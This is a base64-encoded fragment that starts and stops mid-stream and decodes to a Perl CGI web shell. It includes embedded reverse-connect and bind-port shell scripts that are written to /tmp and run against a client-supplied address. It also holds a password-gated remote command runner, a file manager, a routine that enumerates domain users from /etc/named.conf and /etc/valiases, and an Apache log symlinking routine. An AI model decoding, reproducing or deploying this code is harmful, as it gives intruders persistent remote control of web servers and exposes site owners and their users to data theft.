rN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2NtbHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFwemVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05vYnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5XeXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlrN0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsNCgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOw0KDQoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsNCgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7DQoJaWYoJENsaWVudFBvcnQgZXEgMCkNCgl7DQoJCXJldHVybiAmQmFja0JpbmRGb3JtOw0KCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7DQoJCWlmKC13ICIvdG1wLyIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCBiYWNrY29ubmVjdC5wbCAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfWVsc2UNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsNCgkJaWYoLXcgIi90bXAiKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUm1EaXIoJCkgDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KICAgIGlmKG9wZW5kaXIoRElSLCRkaXIpKQ0KCXsNCgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCXsNCgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkNCgkJCXsNCgkJCQkkZmlsZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsNCgkJCQlpZigtZCAkZmlsZSkNCgkJCQl7DQoJCQkJCSZSbURpcigkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXVubGluaygkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKERJUik7DQoJfQ0KCWlmKCFybWRpcigkZGlyKSkNCgl7DQoJCQ0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAkZmlsZTsNCgl9DQoJcmV0dXJuICIwIjsNCg0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBMaXN0RGlyDQp7DQoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsNCgkkcGF0aD1+IHMvXFxcXC9cXC9nOw0KCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOw0KCWlmKC1kICRwYXRoKQ0KCXsNCgkJbXkgQGZuYW1lID0gKCk7DQoJCW15IEBkbmFtZSA9ICgpOw0KCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpDQoJCXsNCgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQkJew0KCQkJCSRmPSRwYXRoLiRmaWxlOw0KCQkJCWlmKC1kICRmKQ0KCQkJCXsNCgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoRElSKTsNCgkJfQ0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsNCgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPg0KDQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5GaWxlIFNpemU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTUwcHg7Jz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9ImxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz4NCg0KCQkJPHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPjxhICBocmVmPSc/YT1ndWkmZD0iLiRkLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQoJb3BlbiAoZG9tYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCglteSBAY256cyA9IDxkb21haW5zPjsNCgljbG9zZSBkMG1haW5zOw0KCW15ICRzdHlsZT0ibGluZSI7DQoJbXkgJHJlc3VsdD0iPGg1Pjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Ib2FuZyBTYSAtIFRydW9uZyBTYTwvZm9udD48L2g1PiI7DQoJaWYgKCRlcnIpDQoJew0KCQkkcmVzdWx0IC49ICAoJzxwPkMwdWxkblwndCBCeXBhc3MgaXQgLCBTb3JyeTwvcD4nKTsNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOw0KCX0NCglmb3JlYWNoIG15ICRvbmUgKEBjbnpzKQ0KCXsNCgkJaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7LykNCgkJewkNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZW5hbWU9ICIvZXRjL3ZhbGlhc2VzLyIuJG9uZTsNCgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsNCgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBWaWV3IExvZw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdMb2cNCnsNCglpZigkV2luTlQpDQoJew0KCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOw0KCX0NCglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOw0KCW15IEBwYXRobG9nPSgNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLA0KCQkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnDQoJCQkJKTsNCglteSAkaT0wOw0KCW15ICRwZXJtczsNCglteSAkc2w7DQoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykNCgl7DQoJCWlmKC13ICRsb2cpDQoJCXsNCgkJCSRwZXJtcz0iT0siOw0KCQl9ZWxzZQ0KCQl7DQoJCQljaG9wKCRzbCA9IGBsbiAtcyAkbG9nIGVycm9yX2xvZ18kaWApOw0KCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikNCgkJCXsNCgkJCQlpZigtciAkbHMpDQoJCQkJew0KCQkJCQkkcGVybXM9Ik9LIjsNCgkJCQkJJGxvZz0iZXJyb3JfbG9nXyIuJGk7DQoJCQkJfQ0KCQkJfWVsc2UNCgkJCXsNCgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsNCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49PDxFTkQ7DQoJCTx0cj4NCg0KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiIC8+DQoJCQk8L2Zvcm0+DQoJCQk8dGQ+JHBlcm1zPC90ZD4NCg0KCQk8L3RyPg0KRU5EDQoJCSRpKys7DQoJfQ0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCiRBY3Rpb24gPSAkaW57J2EnfTsNCg0KJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdA0KDQojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkDQokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luDQp7DQoJJlBlcmZvcm1Mb2dpbjsNCn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCEoJGNobW9kIGVxIDApKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJY2hvcCgkcmVzdWx0PSBgY2htb2QgJGNobW9kICIkZmlsZSJgKTsNCgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX